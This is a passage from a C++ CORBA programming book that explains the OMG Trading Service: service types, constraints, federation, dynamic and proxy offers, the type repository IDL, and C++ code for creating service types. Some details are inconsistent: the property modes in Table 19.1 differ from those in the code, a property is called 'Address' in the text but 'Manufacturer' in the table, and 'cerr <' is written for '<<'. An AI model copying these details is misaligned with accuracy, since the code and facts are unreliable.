cannot update the service provider (the object reference) without deleting and re-creating 
an offer. 

19.3.2 Service Types and IDL Interface Types 
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Service offers have a type, known as the service type. The service type loosely 
corresponds to the categories of a Yellow Pages phone book. For example, if we look up 
tire shops in a Yellow Pages phone book, we expect a certain amount of information that 
is common to all tire shops, such as name, phone number, address, range of brands 
offered, and credit cards accepted. The service type of a service offer determines the 
information an importer can expect to be available—in other words, the properties 
available to search for tire shops. 
 
The service type can also be compared to a database table definition. If we assume that 
all service offers of a particular type are stored in a single table, then the service type 
determines the name, number, and type of the columns in the table. For example, for tire 
shops we might have a table that specifies columns called Name, Address, Phone, 
Brands, and CreditCards. The name of the table itself could be TireShops and 
would correspond to the name of the service type. 
 
The object reference to the service provider that is stored in each service offer also has a 
type: the IDL interface type. Whereas the service type determines which properties are 
used to describe particular service offers, the IDL interface type determines the type of 
object that provides the actual service. For example, the IDL interface for objects that 
provide a tire shop service could be Shops::Tires. (In older literature, you may see 
the IDL interface type referred to as the service offer type, which is not the same as the 
service type.) 
 
You can group service types into hierarchies using inheritance. If an importer requests 
service offers of a specific type, the trader will return not only matching service offers of 
the specified type but also service offers that have a type derived from the specified type. 
In other words, service offers obey the usual type compatibility rules of object-oriented 
type systems—namely, that a derived type can be substituted where a base type is 
expected. To protect the importer from surprises, the IDL interface type of a derived 
service type must be compatible with (must be the same as or be derived from) the IDL 
interface type of the base service type. 
 
Service types correspond loosely to database table definitions, with one difference: 
whereas database tables have a fixed number of columns, the trader allows the exporter to 
export properties for which no corresponding definition exists. This loosely corresponds 
to exports being able to append additional columns to tables at run time. We discuss this 
feature in detail in Section 19.7.3. 

19.3.3 Service Requests 

To search a trader for a particular service, the importer submits a service request to the 
trader. A service request contains 
 
The service type, such as TireShops 
 
A constraint expression, which controls which particular shops should be returned 
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Preferences, which control the order in which service offers are to be returned (see 
Section 19.3.8) 
 
Policies, which control non-functional aspects of a search, such as how many offers to 
return and whether to return the full description of a service or only the object reference 
to the service provider (see Section 19.3.9) 

19.3.4 Constraint Expressions 

The most important part of a service request is the constraint expression, which 
determines the particular tire shops that meet the importer's criteria. Constraint 
expressions (also called queries) are Boolean expressions over the property values of 
service offers. In the simplest case, a constraint expression can be TRUE, in which case 
any service offer (of the specified type) will match the constraint. An example of a more 
complex constraint is as follows: 
 
Find a set of steel radial tires on offer in the San Francisco Bay area with a speed rating 
of at least 120 m.p.h., size P205/65R15, made by either Bridge-stone or Goodyear. Make 
sure that either Visa or MasterCard is accepted for payment. 
 
Of course, the actual constraint is expressed not in English but rather in a formal 
constraint language (see Section 19.10). 

19.3.5 Federation 

Federation (or interworking) of traders permits access to very large collections of service 
offers without the need to store all offers in a single physical database. (The idea is 
analogous to federated naming graphs.) Federation is transparent to clients (unless they 
choose to explicitly take it into account); a federated trader appears to the client as a 
single logical trader, just as a federated naming graph appears as a single logical graph to 
clients of the Naming Service. 
 
Traders are federated by one trader acting as the client to another trader. For example, 
suppose a client submits a service request to trader A. Trader A not only searches its own 
database but also forwards the request to its federated trader B. Eventually, trader B 
returns its results to trader A, which merges them with its own results and then returns the 
merged results to the client. 
 
The topology of a trader federation can be arbitrarily complex and is even allowed to 
contain loops. The OMG specification allows federated traders to implement loop 
detection so that queries from clients are not forwarded from trader to trader indefinitely. 

19.3.6 Dynamic Properties 

Normally, the properties in a service offer have a value that is simply stored by the trader. 
This means that the value of a property does not change unless someone explicitly 
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updates it. Such static property values are fine for things such as tire shops because the 
service being advertised does not change characteristics very often. 
 
In some situations, however, static properties are inadequate. A typical example is trading 
for shares in a share market. In this case, the different shares on offer are the service 
offers, and the current share price corresponds to one of the properties of each offer. The 
problem is that the share price can fluctuate very quickly. If static properties were used to 
indicate share prices, they would have to be updated frequently (possibly hundreds of 
times a day) to continually reflect the current price. 
 
To accommodate such situations, traders offer dynamic properties. A dynamic property 
does not store an actual value for the property. Instead, it stores an object reference to an 
object that can deliver the current value of the property when the trader evaluates a 
constraint. The trader calls an operation on the object to get the current property value. 
Dynamic properties are ideally suited for environments in which property values must 
reflect rapidly changing information. 
 
Importers are unaware of whether a property is static or dynamic. If an importer asks the 
trader for the value of a particular property, the importer simply sees the value, whether 
that value is stored statically or is obtained by the trader invoking an operation on a 
dynamic property. 
 
Dynamic properties have performance implications because they expose a trader to the 
implementation quality of objects outside the trader's control. For example, if a trader 
invokes an operation on a dynamic property reference to get the current value but that 
operation is slow to complete, the entire matching process slows down. High-quality 
implementations of the Trading Service take active steps to prevent complete lockup of 
the service if dynamic properties are slow to return the current value or are unavailable. 
However, there is only so much a trader can do to protect itself against failure. In addition, 
by their very nature, dynamic properties are slower to look up than static properties. 

19.3.7 Proxy Offers 

A proxy offer is like a normal service offer in that it has a service type and contains 
properties that have values. However, in addition, a proxy offer stores 
 
An object reference to a standardized Lookup interface 
 
A constraint recipe 
When an importer submits a constraint, the trader considers proxy offers as equivalent to 
ordinary offers during evaluation of the constraint. If a proxy offer matches the constraint, 
the trader constructs a new constraint according to the constraint recipe. The trader then 
invokes an operation on the Lookup interface stored with the proxy offer, passing the 
new constraint it has just constructed. Eventually, the operation completes and returns a 
number of service offers to the trader, which adds them to the results returned to the 
importer. 
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Proxy offers are effectively "canned queries." Their main use is to integrate legacy 
systems, such as existing databases, into an OMG trader. You can integrate the legacy 
system by building a front-end Lookup object and by storing a constraint recipe that 
constructs the query in the back end's native database language. 
 
Another (although unusual) use for proxy offers is to build smart factories. With this 
technique, a client can create a new object by submitting a query to a trader. It is 
understood that this query cannot match an existing object but will match an existing 
proxy offer. When the trader calls the Lookup interface in the matching proxy offer, the 
implementation of the Lookup object creates an object that matches the client's criteria 
instead of looking it up in a database. The newly created object is returned to the client 
from the import operation. From the importer's perspective, nothing unusual has 
happened; the importer simply went looking for a service and found it. However, behind 
the scenes, the proxy offer was used to create a new object that matches the client's 
requirements. 
 
Proxy support is optional, and few trader implementations support proxy offers. For this 
reason, we do not provide further detail about proxies and constraint recipes in this book. 
You can consult the CORBAservices specification [21] for further details. 

19.3.8 Preferences 

A service request made by an importer can optionally include preferences, which control 
the order in which service offers are returned to the importer. For example, the importer 
can request that service offers be returned in order of increasing value of a property or 
that service offers be randomized. Here again is the service request from page 831, 
modified here with a preference. 
 
Find the cheapest set of steel radial tires on offer in the San Francisco Bay area with a 
speed rating of at least 120 m.p.h., size P205/65R15, made by either Bridgestone or 
Goodyear. Make sure that either Visa or MasterCard is accepted for payment. 
This service request not only looks for a set of tires that match our requirements but also 
makes sure that we get the cheapest such set on offer. 

19.3.9 Policies 

Policies control non-functional aspects of a trader. For example, an importer can use 
policies to impose a limit on the number of matching service offers that will be returned 
from an import operation. The specification describes quite a large number of policies; 
they can be categorized as follows. 
 
Trader policies 
Trader policies apply to a trader as a whole. For example, a trader can limit the number of 
offers it will search during an import operation. 
 
Import policies 
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Import policies are specified for each individual import operation and affect only that 
operation. For example, the importer can limit the number of matching offers that will be 
returned. 
 
Link policies 
Link policies apply to each individual federation link and are set when a link is created. 
For example, there is a link policy to control whether or not a particular link will be 
followed by default during import operations. 

19.4 IDL Overview 

The IDL for the OMG Trading Service is large and offers a wide range of functionality 
and features. The specification defines three IDL modules. 
 
CosTradingRepos 
The CosTradingRepos module contains the functionality required to define, examine, 
and delete service types. 
 
CosTrading 
The CosTrading module contains most of the IDL for the trader. It consists of 11 
interfaces that provide the functionality to create service offers, perform imports, 
maintain trader federations, set policies, and so on. 
 
CosTradingDynamic 
The CosTradingDynamic module contains a single interface called 
DynamicPropEval. Dynamic properties contain an object reference to this interface; 
the trader invokes an operation on the interface to get the current value of a dynamic 
property. 
 
The sections that follow discuss these three modules in detail. 

19.5 The Service Type Repository 

The service type repository defined by the CosTradingRepos module is a database of 
service type definitions. The trader uses the repository when it requires type information 
about service offers (such as when it evaluates a search or when an exporter creates a new 
service offer). The relationship between the service type repository and the trader is 
shown in Figure 19.1. 

Figure 19.1 Relationship between trader and type repository. 

 
Each trader uses exactly one type repository (you cannot configure a trader to use more 
than one type repository at the same time). Several traders can share a single type 
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repository. Typically, a shared type repository is used by traders if they are federated. 
(Strictly speaking, the specification does not require a single, shared repository; however, 
if traders in a federation use separate repositories, they must somehow ensure that the 
type information in the individual repositories is identical for those service offers that are 
accessible to federated queries.) 
 
Note that the association between a trader and its repository is navigable only from the 
trader to the repository. Given a reference to a repository, you cannot find out which 
traders are using it. The fact that there is no way to get from a type repository to its 
traders has important consequences, which we discuss on page 847. 
 
Each service type in a repository has a name that is unique within that repository, such as 
Controller. The service type name must start with a letter and must otherwise consist 
of letters, digits, underscore, period, and colon. Each service type stores the following 
information: 
 
The repository ID of the IDL interface type 
 
A list of property definitions 
 
A (possibly empty) list of its parent service types 
 
The IDL interface type stored in each service type is the repository ID of the object 
providing the service. For example, if we were to advertise controllers, we might have a 
repository ID such as IDL:acme.com/CCS/Controller:1.0. The service type 
name and the IDL interface name need not be the same or even similar, although, in 
practice, you will likely choose a service type name that is the same as the IDL interface 
name. We strongly recommend that you either use the fully scoped IDL interface name as 
the service type name or otherwise ensure that the service type name is unique. If you use 
simple, unqualified names for your service types, you may get a name clash with service 
types created by other applications. 
 
For each property, the list of property definitions details the name and type of the 
property, whether it is mandatory or optional, and whether it is read-only or writable (see 
Section 19.5.1). 
 
The list of parent types contains the service type names of the immediate parent types if 
the service type is derived. Note that the repository supports multiple inheritance because 
a list of parent types is stored in each service type. We discuss the semantics of 
inheritance in Section 19.5.2. 

19.5.1 Properties 

A service type can have any number of properties, including zero. Each property is 
defined by 
A property name 
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A type code that determines the type of the property's value 
 
The property mode 
The name of a property must be a simple identifier (following IDL identifier rules), such 
as Price. No two properties within the same service type can have the same name. 
However, because a service type acts as a scope for property names, different service 
types can use the same property name. 
 
The property's type is described by a type code (recall from Chapter 16 that type codes 
can be sent across the wire). Because property types are described by type codes, you can 
have properties of any type, such as string-valued properties, floating-point properties, 
and so on. You can also create properties of complex user-defined type, such as structures 
or sequences. 
 
Normally, you have an IDL definition for each property type, but this is not mandatory. 
Instead of defining property types using IDL, you can use the TypeCode interface to 
create a type code for a property and use the DynAny interface to create a value for a 
property at run time. In practice, to keep applications simple, properties almost always 
have a static type provided by an IDL definition. 
 
You cannot use user-defined types, such as structures, as property values and in queries 
because the query language supports only simple IDL types. However, user-defined 
complex property types can still be useful because an importer can request that the value 
of properties be returned as part of the result. (This shifts the burden of evaluating user-
defined properties for matches from the trader to the importer.) 
 
If an exporter supplies a value for a property, the value must match the property's type; 
otherwise, the trader will reject the export.[1]  

[1] See Section 19.7.3 for an exception to this rule. 

In addition to having a name and a type, properties have a mode. The mode of a property 
is one of the following. 
 
Normal 
The property is both optional and modifiable. An exporter that creates a new service offer 
need not include a value for this property. The property can be modified in place while 
the service offer is stored in the trader. 
 
Read-only 
The property is optional and read-only. An exporter that creates a new service offer need 
not include a value for this property. After the service offer has been created by an 
exporter, the trader will reject attempts to modify the value of the property; the value of 
the property is "frozen" at export time. 
 
Mandatory 
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When an exporter creates a service offer, the exporter must provide a value for the 
property. The property can be modified in place while the service offer is stored in the 
trader. 
 
Mandatory and read-only 
The property must be present in every service offer, and the trader will reject attempts to 
modify the value of the property while it stores the offer. 
 
Armed with this information, we can define a service type for controllers. To define a 
service type, we decide on a name for the service type, as well as a name, type, and mode 
for each property and an IDL interface type for the object that acts as the controller. (We 
ignore type inheritance for the time being.) 
 

Table 19.1. Property definitions for a controller service type. 
Property Name Property Type Property Mode 

Model CORBA::_tc_string Mandatory, read-only 
Manufacturer Manufacturing::_tc_AddressType Normal 
Phone CORBA::_tc_string Mandatory 
Supports Airconditioning::_tc_ModelType Read-only 
MaxDevices CORBA::_tc_ulong Normal 
Assume that we have decided to call the service type CCS::Controllers and that the 
controller interface is provided by objects having the repository ID 
IDL:acme.com/CCS/Controller:1.0. Table 19.1 shows the property 
definitions we might use. 
 
There are many other properties we could have included, depending on exactly how we 
want to advertise controllers. For your applications, you can probably define whatever 
properties are most appropriate for the problem at hand. However, as trading technology 
becomes more widespread, we expect that different industry consortia and standards 
bodies will define industry-standard service types for commodities advertised in traders. 
Note that we use the type code constants generated by the IDL compiler to indicate the 
property types. Of course, a type repository really stores not only the name of the 
constant but also the full type code referred to by that name. 
 
The Address property has the type code Manufacturing::_tc_AddressType. 
Clearly, this is a user-defined type. Here is a possible definition: 
       
module Manufacturing { 
    // ... 
    struct AddressType { 
        string  name; 
        string  street_1; 
        string  street_2; 
        string  city; 
        string  state; 
        string  postcode; 
        string  country; 
    }; 
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    // ... 
}; 
 
      
There are many possible options for defining this structure. The important point is that 
even though the type is a user-defined complex type, we can still use it as a property type. 
However, we cannot search for service offers by specifying a city or post code because 
the query language does not allow us to query service offers by looking "inside" the 
fields of a complex type. 
 
The Supports property also has a user-defined type—namely, a sequence of strings. A 
possible IDL definition is 
       
module Airconditioning { 
    typedef string                  DeviceModels; 
    typedef sequence<DeviceModels>  ModelType; 
    // ... 
}; 
 
      
Although the Supports property has a user-defined type, we can use the property in 
queries. The query language has a special operator to test whether a particular value 
occurs in a sequence of simple values (see Section 19.10.6). 

19.5.2 Service Type Inheritance 

The CCS::Controllers service type defined in Section 19.5.1 does not inherit 
from any other service type. Suppose we want to create service offers for other kinds of 
controllers—for example, multiprotocol and wireless controllers. We assume that these 
controllers have the same description as ordinary controllers but also provide additional 
information about their functionality. We can use inheritance to express this. We make 
the multiprotocol and wireless controllers derived services types, as shown in Figure 
19.2. 

Figure 19.2 Specialization of service types. 

 
The semantics of inheritance are that derived service types guarantee to have all the 
properties of the base type. A derived service type can also modify the mode of an 
inherited property. Here are the rules. 
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The IDL interface type of the derived service type must be the same as, or be derived 
from, the IDL interface type of the base service type. 
The derived service type inherits all property definitions from its base type. 
The derived service type cannot change the type of an inherited property. 
The derived service type can change the mode of an inherited property. If it does, the 
mode of the property in the derived service type must be stronger than the mode of the 
same property in the base service type (see Figure 19.3). 

Figure 19.3 Strength of property modes. 

 

The derived type can define properties with names not used by its base service type. 
These rules make sense. Obviously, a derived service type must support all the properties 
of its base type, and the inherited properties must have the same type as they have in the 
base type. Otherwise, importers would get nasty surprises because their queries could 
become meaningless. Similarly, the IDL interface type (the type of the object reference) 
in the derived service type must be compatible with that in the base service type. This 
restriction ensures that if the importer asks for controllers and the trader returns a 
multiprotocol controller, the importer can safely deal with the multiprotocol controller as 
if it were an ordinary controller. In addition, the derived service type can change the 
mode of an inherited property to a stronger mode. Figure 19.3 shows how modes 
increase in strength. 
 
The strengthening rule ensures that a property in a derived service type cannot change a 
guarantee established in the base service type. In other words, if a property is mandatory 
in the base service type, the derived service type cannot make that property optional but 
can make it read-only. 
 
Table 19.2 shows the properties we could define for a multiprotocol controller. The 
service type for multiprotocol controllers adds one new property: the list of supported 
protocols. In addition, it modifies the inherited Supports property by strengthening its 
mode from read-only to mandatory and read-only. Multiprotocol controllers also inherit 
all the properties of ordinary controllers, so a multiprotocol controller also has the 
Model, Manufacturer, and Phone properties. 
 

Table 19.2. Property definitions for a multiprotocol controller service type. 
Property Name Property Type Property Mode 
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Protocols RemoteSensing::_tc_Protocols Mandatory 
Supports Airconditioning::_tc_ModelType Mandatory, read-only 
 

Table 19.3. Property definitions for a wireless controller service type. 
Property Name Property Type Property Mode 

Range CORBA::_tc_ulong Mandatory 
For the wireless controller, we could define an additional property to specify the range of 
the controller, as shown in Table 19.3. Multiple inheritance of service types is 
supported. If a service type has more than one base service type, the derived service type 
combines all the properties of its base types. For example, with the preceding definitions, 
we could define a wireless multiprotocol controller type as shown in Figure 19.4. 

Figure 19.4 Multiple inheritance of service types. 

 
With this definition, a wireless multiprotocol controller has all the properties of its 
ancestor types: Model, Manufacturer, Phone, Supports, Protocols, and 
Range. As with IDL, multiple inheritance must be unambiguous. If two base types 
define the same property, that property must have the same value type and mode on both 
base types for multiple inheritance to be legal. 

19.5.3 IDL for the Service Type Repository 

The IDL for the service type repository is large, so we present it here in several sections. 
CosTradingRepos contains a single interface called ServiceTypeRepository. 
All the definitions for the type repository are part of this interface, so the overall structure 
of the IDL is as follows. 
       
//File: CosTypeRepos.idl 
#include <CosTrading.idl> 
#include <orb.idl> 
#pragma prefix "omg.org" 
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module CosTradingRepos { 
    interface ServiceTypeRepository { 
        // Definitions for the type repository here... 
    }; 
}; 
 
      
For the remainder of this section, we show the contents of the 
ServiceTypeRepository interface without explicitly showing the interface itself or 
its enclosing module. 

IDL Types and Exceptions 

The ServiceTypeRepository interface defines a number of types and exceptions 
that are used throughout the remainder of the specification: 
        
typedef CosTrading::Istring Identifier; 
 
enum PropertyMode { 
    PROP_NORMAL, PROP_READONLY, 
    PROP_MANDATORY, PROP_MANDATORY_READONLY 
}; 
struct PropStruct { 
    CosTrading::PropertyName    name; 
    CORBA::TypeCode             value_type; 
    PropertyMode                mode; 
}; 
typedef sequence<PropStruct> PropStructSeq; 
 
exception ServiceTypeExists { 
    CosTrading::ServiceTypeName name; 
}; 
exception InterfaceTypeMismatch { 
    CosTrading::ServiceTypeName base_service; 
    Identifier                  base_if; 
    CosTrading::ServiceTypeName derived_service; 
    Identifier                  derived_if; 
}; 
exception HasSubTypes { 
    CosTrading::ServiceTypeName the_type; 
    CosTrading::ServiceTypeName sub_type; 
}; 
exception AlreadyMasked { 
    CosTrading::ServiceTypeName name; 
}; 
exception NotMasked { 
    CosTrading::ServiceTypeName name; 
}; 
exception ValueTypeRedefinition { 
    CosTrading::ServiceTypeName type_1; 
    PropStruct                  definition_1; 
    CosTrading::ServiceTypeName type_2; 
    PropStruct                  definition_2; 
}; 
exception DuplicateServiceTypeName { 
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    CosTrading::ServiceTypeName name; 
}; 
 
       
We explain the use and meaning of these exceptions as we discuss the relevant operations. 

Creating a New Service Type 

The add_type operation creates a new service type: 
        
struct IncarnationNumber { 
    unsigned long   high; 
    unsigned long   low; 
}; 
 
typedef sequence<CosTrading::ServiceTypeName> ServiceTypeNameSeq; 
 
IncarnationNumber add_type( 
    in CosTrading::ServiceTypeName  name, 
    in Identifier                   if_name, 
    in PropStructSeq                props, 
    in ServiceTypeNameSeq           super_types 
) raises( 
    CosTrading::IllegalServiceType, ServiceTypeExists, 
    InterfaceTypeMismatch, CosTrading::IllegalPropertyName, 
    CosTrading::DuplicatePropertyName, ValueTypeRedefinition, 
    CosTrading::UnknownServiceType, DuplicateServiceTypeName 
); 
 
       
The name parameter is the name of the new service type. The type name must follow 
IDL scoped identifier rules. To avoid clashes with names used by other applications, we 
recommend that you use a scoped name such as CCS::Controllers. 
 
The if_name parameter provides the repository ID of the IDL interface type. It must be 
a string conforming to the syntax for repository IDs (see Section 4.19), such as 
"IDL:acme.com/CCS/Controller:1.0". 
 
The props parameter is a sequence of property definitions. Each sequence element is a 
structure of type PropStruct, which specifies the name, type, and mode of a property. 
The type of the property is passed as an object reference of type CORBA::TypeCode. 
Typically, you use the IDL-generated type code constants (see Section 16.6) to 
specify the type of a property, but you could also create your own type code at run time. 
The super_types parameter is a list of service type names of the immediate ancestor 
types for the new service type. If the new service type does not have base types, this 
sequence must be empty. 
 
The add_type operation can raise a number of exceptions. 
CosTrading::IllegalServiceType 
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This exception indicates that the name parameter is malformed and does not conform to 
the syntax for scoped IDL identifiers. 
 
ServiceTypeExists 
This exception indicates that the name for the new type is already in use. 
 
InterfaceTypeMismatch 
This exception can be raised only if the new type is a derived type. The exception 
indicates that the IDL interface type of the new type is incompatible with the IDL 
interface type of one of its base types. 
 
Many traders do not check this error condition when you create a type. This is because 
the only way for the type repository to enforce matching interface types is to consult the 
ORB's IFR at run time. However, not all ORBs have an IFR, or if they do, the IFR may 
not be populated with the relevant types, so the check may be impossible. Some traders 
permit you to use a configuration attribute to control whether the check is carried out; 
consult your vendor's documentation for details. 
 
If your trader cannot enforce this restriction, you must make sure that the IDL interface 
type of a derived service type is compatible with the IDL interface types of its base 
service types. If you neglect to do this, importers will get unpleasant surprises because 
the object references returned by the trader may have the wrong type for the service it 
purports to offer. 
 
CosTrading::IllegalPropertyName 
A property name is malformed and does not conform to the syntax for simple 
(unqualified) IDL identifiers. 
 
CosTrading::DuplicatePropertyName 
The props parameter contains two or more property definitions having the same name. 
 
ValueTypeRedefinition 
This exception indicates that the new type defines a property having the same name as 
that of a property in one of its base types, but the property in the derived type either has a 
different value type or has a weaker mode than the one in the base type. This exception is 
also raised if the new type has more than one base type and if the base types define 
properties having the same name but a conflicting value type or mode. 
 
CosTrading::UnknownServiceType 
This exception indicates that at least one of the base types in the super_types 
parameter does not exist. 
 
DuplicateServiceTypeName 
The super_types parameter contains two or more elements having the same name. 
Note that the add_type operation returns a value of type IncarnationNumber (a 
structure containing two long values). Like a serial number, an incarnation number acts 



IT-SC book: Advanced CORBA® Programming with C++ 

 729

as a marker that assigns a unique identifier to the new type. Another operation, 
list_types, allows you to supply the incarnation number of a previously created type. 
If an incarnation number is provided, list_types returns only those types that were 
created or modified since the creation of that incarnation number. The 
ServiceTypeRepository interface contains the last-used incarnation number in an 
attribute: 
        
readonly attribute IncarnationNumber incarnation; 
 
       
Unfortunately, the incarnation number is not particularly useful. It was intended for use 
by the trader to permit caching of parts of a type repository. However, the incarnation 
number does not work for caching. Using the incarnation number, a trader can find out 
whether new service types have been created or modified, but it cannot detect whether 
service types have been deleted. As far as application code is concerned, the incarnation 
number serves no useful purpose, so we recommend that you ignore it. Fortunately, the 
incarnation number is a fixed-length type, so you can safely ignore the return value 
without leaking memory. 

Removing a Service Type 

The remove_type operation removes a service type from the type repository: 
        
void remove_type( 
    in CosTrading::ServiceTypeName name 
) raises( 
    CosTrading::IllegalServiceType, 
    CosTrading::UnknownServiceType, 
    HasSubTypes 
); 
 
       
The name parameter indicates the name of the type to be removed. If the name parameter 
is syntactically malformed, remove_type raises the IllegalServiceType 
exception. Attempts to remove a non-existent type raise UnknownServiceType. 
 
You can remove a type only if it does not have derived types. If you call remove_type 
on a type that still acts as a base type for other types, the operation raises the 
HasSubTypes exception. 
 
Never remove a type from the type repository unless you are certain that there are no 
more service offers in the trader that use this type. Recall from Figure 19.1 that each 
trader knows about its type repository but that the type repository has no idea which 
traders are using it. If you delete a service type while there are still service offers in the 
trader that depend on that type, you will destroy the trader's type system. 
 
This type deletion problem is typical of systems that share type definitions among a 
number of independent parties. It is difficult to safely delete a type unless you can be sure 
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that the type is no longer in use. The type repository offers a mask_type operation (see 
page 849) that allows you to deprecate a type without actually deleting it. Masking of 
types mitigates the problem somewhat but does not solve it. 
 
The specification could have addressed this issue by requiring the trader to inform the 
type repository which types are in use so that the type repository could refuse deletion of 
types that have existing service offers. However, that approach would have created a 
mutual dependency between the type repository and the trader and would have coupled 
the two very tightly. Such coupling was seen as undesirable in light of the work on type 
systems that is currently under way in the OMG. In particular, the OMG Meta-Object 
Facility (MOF) [25] may in the future provide all the CORBA core and the CORBA 
services with a unified type system, and a mutual dependency of the type repository and 
the trader would have blocked use of the MOF for trading. As it is, we must live with this 
wrinkle in the specification until a future revision. 

Listing Types 

The list_types operation returns a sequence of type names: 
        
enum ListOption { all, since }; 
 
union SpecifiedServiceTypes switch (ListOption) { 
case since: 
    IncarnationNumber incarnation; 
}; 
 
ServiceTypeNameSeq list_types( 
    in SpecifiedServiceTypes which_types 
); 
 
       
The operation returns a sequence of service type names. The which_types union 
parameter allows you to supply the incarnation number of a previously created type. If it 
is supplied, list_types returns only types created or modified since that incarnation 
number. As pointed out on page 846, the incarnation number is not particularly useful, so 
we recommend that you always set the discriminator of the which_types parameter to 
all. 
 
Note that list_types does not have provision to return an iterator object. This means 
that the operation will fail when the number of type names gets larger than what can be 
returned in a single return value by your ORB implementation. Again, this is a wrinkle of 
the specification we must live with. Fortunately, most applications work with quite a 
small number of service types, so this problem rarely occurs in practice. 

Obtaining the Details of a Type 

The describe_type operation returns the details of a service type: 
        
struct TypeStruct { 
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    Identifier          if_name; 
    PropStructSeq       props; 
    ServiceTypeNameSeq  super_types; 
    boolean             masked; 
    IncarnationNumber   incarnation; 
}; 
 
TypeStruct describe_type( 
    in CosTrading::ServiceTypeName name 
) raises( 
    CosTrading::IllegalServiceType, 
    CosTrading::UnknownServiceType 
); 
 
       
The name parameter indicates the name of the type whose details are to be returned. The 
return value is a structure of type TypeStruct, which contains the details of the type: 
its IDL interface type, its property definitions, its list of base types, its incarnation 
number, and whether or not the type is masked. 
 
If you call describe_type on a derived type, the returned structure does not contain 
the properties of the base types. Instead, it contains only those properties that were 
specified when the derived type was created. 
 
To get the full description of a type, including the properties of all the base types, you 
call fully_describe_type: 
        
TypeStruct fully_describe_type( 
    in CosTrading::ServiceTypeName name 
) raises( 
    CosTrading::IllegalServiceType, 
    CosTrading::UnknownServiceType 
); 
 
       
The fully_describe_type operation works like describe_type but returns all 
the properties for a type, including those inherited from base types. If the derived type 
has made changes to the modes of inherited properties, fully_describe_type 
returns the modes as they apply to the derived type. If the type specified by the name 
parameter does not have base types, fully_describe_type returns the same result 
as describe_type. 

Masking and Unmasking Types 

The mask_type operation permits deprecation of a particular type as well as the 
creation of abstract base types: 
        
void mask_type( 
    in CosTrading::ServiceTypeName name 
) raises( 
    CosTrading::IllegalServiceType, 
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    CosTrading::UnknownServiceType, 
    AlreadyMasked 
); 
 
       
The operation expects the name parameter to contain the name of the type to be masked. 
Masking a type that is already masked raises the AlreadyMasked exception. 
 
After a type is masked, it is no longer possible to create service offers of that type. 
However, service offers of a type derived from a masked type can still be created. These 
semantics allow you to create an abstract base type by masking it immediately after 
creation. 
 
You can also use mask_type to deal with the type deletion problem mentioned on page 
847. Instead of deleting a type, you can mask it to make it impossible for exporters to 
create new service offers of that type. The hope is that eventually, all service offers using 
that type will be withdrawn, at which time the type can be safely deleted (but there is no 
easy way of knowing when that time has arrived). In addition, masking a type solves the 
type deletion problem only partially, because we cannot safely delete a type unless all 
service offers using derived types are also withdrawn. We could also mask all derived 
types to get around this problem, but we cannot do this without examining the whole 
inheritance graph. The type repository interfaces allow you to navigate the inheritance 
structure only toward the root of the inheritance tree and not toward the leaves.[2]  

[2] This is another defect that we hope will be addressed in a future version of the specification. 

The inverse of mask_type is provided by the unmask_type operation: 
        
void unmask_type( 
    in CosTrading::ServiceTypeName name 
) raises( 
    CosTrading::IllegalServiceType, 
    CosTrading::UnknownServiceType, 
    NotMasked 
); 
 
       
Unmasking a type that is not masked raises the NotMasked exception. 

19.5.4 Using the Service Type Repository with C++ 

Using the type repository from C++ is a simple matter of calling operations on the 
ServiceTypeRepository interface. However, before you can do this, you need a 
reference to the service type repository. 

Obtaining a Service Type Repository Reference 

Calling resolve_initial_references with a service name of 
"TradingService" returns an IOR to the service type repository. The returned 
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reference is of type CosTrading::Lookup (we examine the Lookup interface in 
detail in Section 19.11). The Lookup interface supports a read-only attribute called 
type_repos that contains the object reference to the actual type repository. This 
reference is of type Object and can be narrowed to CosTradingRepos:: 
ServiceTypeRepository. 
 
Following is a code example that illustrates these steps. Note that instead of calling 
resolve_initial_references directly, we use the resolve_init helper 
function we defined on page 819. 
        
// Get reference to Lookup interface. 
CosTrading::Lookup_var lookup; 
lookup = resolve_init<CosTrading::Lookup>(orb, "TradingService"); 
 
// Read type_repos attribute to get IOR to type repository. 
CORBA::Object_var obj = lookup->type_repos(); 
 
// Narrow. 
CosTradingRepos::ServiceTypeRepository_var repos; 
repos = CosTradingRepos::ServiceTypeRepository::_narrow(obj); 
if (CORBA::is_nil(repos)) { 
    cerr < "Not a type repository reference" < endl; 
    throw 0; 
} 
 
       
The reason for returning the type repository as type Object is to permit a later version 
of the specification to change to a type repository generated by the OMG MOF. 

Creating Service Types with C++ 

The following code example creates the four service types for controllers you saw in 
Sections 19.5.1 and 19.5.2. This is simply a matter of creating the service types in 
the right order, starting with the base type. Note that we use a using directive to keep 
identifiers short. If you are in a non-standard C++ environment, you must use fully 
qualified identifiers instead. 
        
using namespace CosTradingRepos; 
 
// Fill in property definitions for controllers. 
ServiceTypeRepository::PropStructSeq props; 
props.length(5); 
props[0].name = CORBA::string_dup("Model"); 
props[0].value_type = CORBA::TypeCode::_duplicate( 
                        CORBA::_tc_string 
                      ); 
props[0].mode = ServiceTypeRepository::PROP_MANDATORY_READONLY; 
 
props[1].name = CORBA::string_dup("Manufacturer"); 
props[1].value_type = CORBA::TypeCode::_duplicate( 
                        Manufacturing::_tc_AddressType 
                      ); 
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props[1].mode = ServiceTypeRepository::PROP_NORMAL; 
 
props[2].name = CORBA::string_dup("Phone"); 
props[2].value_type = CORBA::TypeCode::_duplicate( 
                        CORBA::_tc_string 
                      ); 
props[2].mode = ServiceTypeRepository::PROP_MANDATORY; 
 
props[3].name = CORBA::string_dup("Supports"); 
props[3].value_type = CORBA::TypeCode::_duplicate( 
                        Airconditioning::_tc_ModelType 
                      ); 
props[3].mode = ServiceTypeRepository::PROP_NORMAL; 
 
props[4].name = CORBA::string_dup("MaxDevices"); 
props[4].value_type = CORBA::TypeCode::_duplicate( 
                        CORBA::_tc_ulong 
                      ); 
props[4].mode = ServiceTypeRepository::PROP_MANDATORY; 
 
// Create Controllers service type. 
ServiceTypeRepository::ServiceTypeNameSeq base_types; 
repos->add_type( 
    "CCS::Controllers", 
    "IDL:CCS/Controller:1.0", 
    props, 
    base_types 
); 
 
// Fill in property definitions for multiprotocol controllers. 
props.length(2); 
props[0].name = CORBA::string_dup("Protocols"); 
props[0].value_type = CORBA::TypeCode::_duplicate( 
                        RemoteSensing::_tc_Protocols 
                      ); 
props[0].mode = ServiceTypeRepository::PROP_MANDATORY; 
props[1].name = CORBA::string_dup("Supports"); 
props[1].value_type = CORBA::TypeCode::_duplicate( 
                        Airconditioning::_tc_ModelType 
                      ); 
props[1].mode = ServiceTypeRepository::PROP_MANDATORY_READONLY; 
 
// Initialize base type list 
base_types.length(1); 
base_types[0] = CORBA::string_dup("CCS::Controllers"); 
 
// Create multiprotocol controller service type. 
repos->add_type( 
